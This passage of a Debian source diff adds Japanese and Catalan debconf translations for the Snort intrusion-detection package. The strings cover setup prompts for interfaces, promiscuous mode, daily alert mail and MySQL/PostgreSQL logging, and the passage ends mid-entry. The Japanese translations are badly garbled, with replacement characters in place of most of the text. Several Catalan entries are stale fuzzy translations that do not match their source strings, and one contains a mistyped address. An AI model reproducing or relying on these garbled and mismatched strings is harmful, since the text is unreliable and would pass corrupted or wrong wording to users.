+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"アラート�日時統計���られる場��最�アラート発生数を入力������。"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort ��起動�必���"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Snort �手動�起動�れ�場���様��変更を�映�る�� '/etc/init.d/snort' "
+"を実行�る必���り��。"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "設定エラー"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"�在� Snort �設定�正�������Snort �正常�起動���ん。確��上�修正"
+"������。"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Snort �設定ファイル中�エラーを分��る���'/usr/sbin/snort -T -c <file>' "
+"�������。"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "��無効�設定ファイル"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"��システム�使���る�既�利用����設定ファイル (/etc/snort/snort."
+"common.parameters) �自動的�新��設定ファイル形� (/etc/default/snort) "
+"�変��れ��。"
+
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"新��設定を確������設定を削除������。��設定�削除�れる���"
+"�期化スクリプト�新��設定を使����������新��リリース����を"
+"享��る�������ん。"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "snort-mysql を利用��ログ�記録�る���データベースを設定����?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Snort �ログを�存�るデータベース�設定�れ����ん。設定を続�る��"
+"以下を確�����必���り��:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - サー��ホスト� (サー����マシン�ら� TCP 接続を許����る\n"
+"   必���り��);\n"
+" - 上記サー�上�データベース;\n"
+" - データベース�アクセス�る���ユーザ��パスワード"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"��必��設定��れ��分�ら��場�����オプションを使���通常�ファイル"
+"��ログ設定�動作�������。"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"データベース��ログ�集設定を���場���後�� 'dpkg-reconfigure -plow "
+"snort-mysql' を実行���。"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "データベースサー��ホスト�:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"��ホスト�ら�接続�求を許����るデータベースサー��ホスト�を指定��"
+"����。"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "データベース�:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"データベースユーザ�書�込�権�を����る既存�データベース�を指定������。"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "データベース��アクセス�使�ユーザ�:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"データベース��書�込�権���るデータベースサー��ユーザ�を指定������。"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "データベース接続�使用�るパスワード:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Snort �アラートデータベース �接続�る際�使用�るパスワードを入力"
+"������。"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Snort 用�データベースを強制的�設定"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort �正��動作�る���データベース�設定�必���。データベースを作�"
+"�る���パッケージインストール「後��以下�コマンドを入力�る必���り�"
+"�:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"ユーザ��ホスト��データベース����れ�れ正��値を入れ�����。MySQL "
+"�パスワードを�求���。"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "データベース�作�後�手動� Snort を起動�る必���り��。"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "snort-pqsql を利用��ログ�記録�る���データベースを設定����?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"データベース��ログ�集設定を���場���後�� 'dpkg-reconfigure -plow "
+"snort-pgsql' を実行���。"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"ユーザ��ホスト��データベース����れ�れ正��値を入れ�����。"
+"PostgreSQL �パスワードを�求���。"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "無効��れ�設定ファイル"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Snort �設定ファイル (/etc/snort/snort.conf) ��今回� Snort �リリース以�"
+"使�������る無効�オプションを指定�����。設定ファイルを修正����り"
+"起動�����り��。設定ファイルを��パッケージ��供���るも��置��る��"
+"無効�オプションを手動�削除�る��れ�起動出�るよ���り��。"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr "設定ファイル�以下�無効�オプション�見��り���: ${DEP_CONFIG}"
+
--- snort-2.8.5.2.orig/debian/po/ca.po
+++ snort-2.8.5.2/debian/po/ca.po
@@ -0,0 +1,1057 @@
+# snort (debconf) translation to Catalan.
+# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc.
+# Aleix Badia i Bosch <a.badia@callusdigital.org> 2005
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort_2.0.1-2_templates\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2005-02-26 10:41+0100\n"
+"Last-Translator: Aleix Badia i Bosch <a.badia@callusdigital.org>\n"
+"Language-Team: Debian L10n Catalan <debian-l10n-catalan@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=ISO-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+#, fuzzy
+#| msgid ""
+#| "Snort can be started during boot, when connecting to the net with pppd or "
+#| "only when you manually start it via /usr/sbin/snort."
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"El Snort es pot iniciar a l'arrencada del sistema, quan el sistema es "
+"connecti a la xarxa a través de pppd o iniciar-lo manualment via /usr/sbin/"
+"snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid "On which interface Snort should listen? (only one!)"
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Quina interfície hauria d'escoltar el Snort? (només una!)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Please enter the interface name which snort should listen on. The name of "
+#| "the available interfaces are provided by running 'ip link show'. This "
+#| "value usually is 'eth0', but you might want to vary this depending on "
+#| "your environment, if you are using a dialup connection 'ppp0' might be "
+#| "more appropiate."
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Introduïu el nom de la interfície que haurà d'escoltar el snort. El nom de "
+"les interfícies disponibles el podeu aconseguir executant l'ordre 'ip link "
+"show'. El valor acostuma a ser 'eth0', però us pot interessar modificar-lo "
+"en funció de l'entorn, si utilitzeu el marcatge directe probablement us "
+"interessi més el valor 'ppp0'."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Notice that Snort is usually configured to inspect all traffic coming "
+#| "from the Internet, so the interface you add here is usually the same the "
+#| "'default route' is on.  You can determine which interface is used for "
+#| "this running either '/sbin/ip ro sh' or '/sbin/route -n' (look for "
+#| "'default' or '0.0.0.0')."
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Recordeu que el Snort acostuma a estar configurat per analitzar tot el "
+"tràfic d'internet, la interfície a afegir acostuma a ser la mateixa que la "
+"de la 'ruta per defecte'. Podeu obtenir la interfície executant l'ordre '/"
+"sbin/ip ro sh' o '/sbin/route -n' (cerqueu 'default' o '0.0.0.0'). "
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "It is also not uncommon to run Snort on an interface with no IP and "
+#| "configured in promiscuous mode, if this is your case, select the "
+#| "interface in this system that is physically connected to the network you "
+#| "want to inspect, enable promiscuous mode later on and make sure that the "
+#| "network traffic is sent to this interface (either connected to a 'port "
+#| "mirroring/spanning' port in a switch, to a hub or to a tap)"
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"També es pot donar la situació d'executar el Snort en una interfície sense "
+"IP i configurada en mode promiscu, si és el vostre cas, seleccioneu la "
+"interfície que està físicament connectada a la xarxa que voleu analitzar, "
+"posteriorment habiliteu el mode promiscu i assegureu-vos que el tràfic de la "
+"xarxa s'envia a la interfície (connectada a un port 'port mirroring/"
+"spanning' d'un commutador, a un concentrador o a un tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "You can configure multiple interfaces here, just by adding more than one "
+#| "interface name separated by spaces. Each interface can have its specific "
+#| "configuration."
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Podeu configurar múltiples interfície afegint més d'un nom d'interfície "
+"separat per espais. Cada interfície pot tenir una configuració específica."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid "Please enter the address range that Snort will listen on."
+msgid "Address range for the local network:"
+msgstr "Introduïu el rang d'adreces que escoltarà el Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#| "192.168.1.42/32 for just one. Specify multiple addresses on a single line "
+#| "separated by ',' (comma characters), no spaces allowed!"
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Heu d'utilitzar el format CIDR, ex. 192.168.1.0/24 per un bloc de 256 IPs o "
+"192.268.1.42/32 per una.  Especifiqueu múltiples adreces separades per "
+"',' (caràcters de coma) en una sola línia, no utilitzeu espais."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "Notice that if you are using multiple interfaces this definition will be "
+#| "used as the HOME_NET definition of all of them."
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Recordeu que si utilitzeu múltiples interfícies aquesta definició "
+"s'utilitzarà com a definició HOME_NET de totes."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "S'hauria d'inhabilitar el mode promiscu de la interfície?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+#, fuzzy
+#| msgid ""
+#| "Disabling promiscuous mode means that Snort will only see packets "
+#| "addressed to it's own interface. Enabling it allows Snort to check  every "
+#| "packet that passes ethernet segment even if it's a connection between two "
+#| "other computers."
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Si s'inhabilita el mode promiscu, el Snort únicament veurà els paquets "
+"adreçats a la seva pròpia interfície. Si s'habilita, el Snort pot comprovar "
+"cada paquet que passa pel segment ethernet, encara que sigui entre d'altres "
+"ordinador."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+#, fuzzy
+#| msgid "Should Snort's rules testing order be changed to Pass|Alert|Log?"
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"S'hauria de canviar l'ordre de comprovació de les regles del Snort per Pass|"
+"Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+#, fuzzy
+#| msgid "Who should receive the daily statistics mails?"
+msgid "Recipient of daily statistics mails:"
+msgstr "Qui hauria de rebre els missatges estadístics diaris?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+#, fuzzy
+#| msgid ""
+#| "An alert needs to appear more times than this number to be included in "
+#| "the daily statistics."
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Una alerta s'inclourà a les estadístiques diàries quan aparegui un nombre de "
+"vegades superior a l'indicat."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Obsolete configuration file"
+msgstr "El sistema utilitza un fitxer de configuració obsolet"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"El sistema té un fitxer de configuració obsolet (/etc/snort/snort.common."
+"parameters) que s'ha convertit automàticament al nou format de fitxer de "
+"configuració (a /etc/default/snort). Comproveu el nou fitxer de configuració "
+"i suprimiu l'obsolet. Fins que no ho feu, la seqüència de l'init.d no "
+"utilitzarà la nova configuració i no podreu utilitzar les característiques "
+"afegides en les noves versions."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"El sistema té un fitxer de configuració obsolet (/etc/snort/snort.common."
+"parameters) que s'ha convertit automàticament al nou format de fitxer de "
+"configuració (a /etc/default/snort). Comproveu el nou fitxer de configuració "
+"i suprimiu l'obsolet. Fins que no ho feu, la seqüència de l'init.d no "
+"utilitzarà la nova configuració i no podreu utilitzar les característiques "
+"afegides en les noves versions."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-mysql to log to?"
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"Voleu configurar una base de dades on el snort-mysql hi registri dades?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+#, fuzzy
+#| msgid ""
+#| "Make sure it has been set up correctly to allow incoming connections from "
+#| "this host!"
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Abans de permetre les connexions a aquest ordinador, assegureu-vos que "
+"estigui configurat correctament."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+#, fuzzy
+#| msgid ""
+#| "Make sure this database has been created and your database user has write "
+#| "access to this database."
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Assegureu-vos que la base de dades existeixi i que el vostre usuari hi "
+"tingui permís d'escriptura."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter the password for the database connection"
+msgid "Password for the database connection:"
+msgstr "Introduïu la contrasenya per la connexió amb la base de dades."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter a password to connect to the Snort Alert database."
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Introduïu la contrasenya per connectar-vos a la base de dades d'alertes del "
+"Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Creeu l'estructura de la base de dades utilitzant la següent ordre:\n"
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <usuari> -h <ordinador central> -p <nom "
+"base de dades>\n"
+"Ompliu correctament les dades de l'usuari, ordinador central i nom de la "
+"base de dades. El MySQL us demanarà la contrasenya."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Un cop creada l'estructura de la base de dades, premeu 'd'acord' per "
+"continuar."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-pgsql to log to?"
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+"Voleu configurar una base de dades on el snort-pgsql hi registri dades?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Deprecated configuration file"
+msgstr "El sistema utilitza un fitxer de configuració obsolet"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "Your Snort configuration file (/etc/snort/snort.conf) uses deprecated "
+#| "options no longer available for this Snort release.  Snort will not be "
+#| "able to start unless you provide a correct configuration file. You can "
+#| "substitute your configuration file with the one provided in this package "
+#| "or fix it manually by removing deprecated options."
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
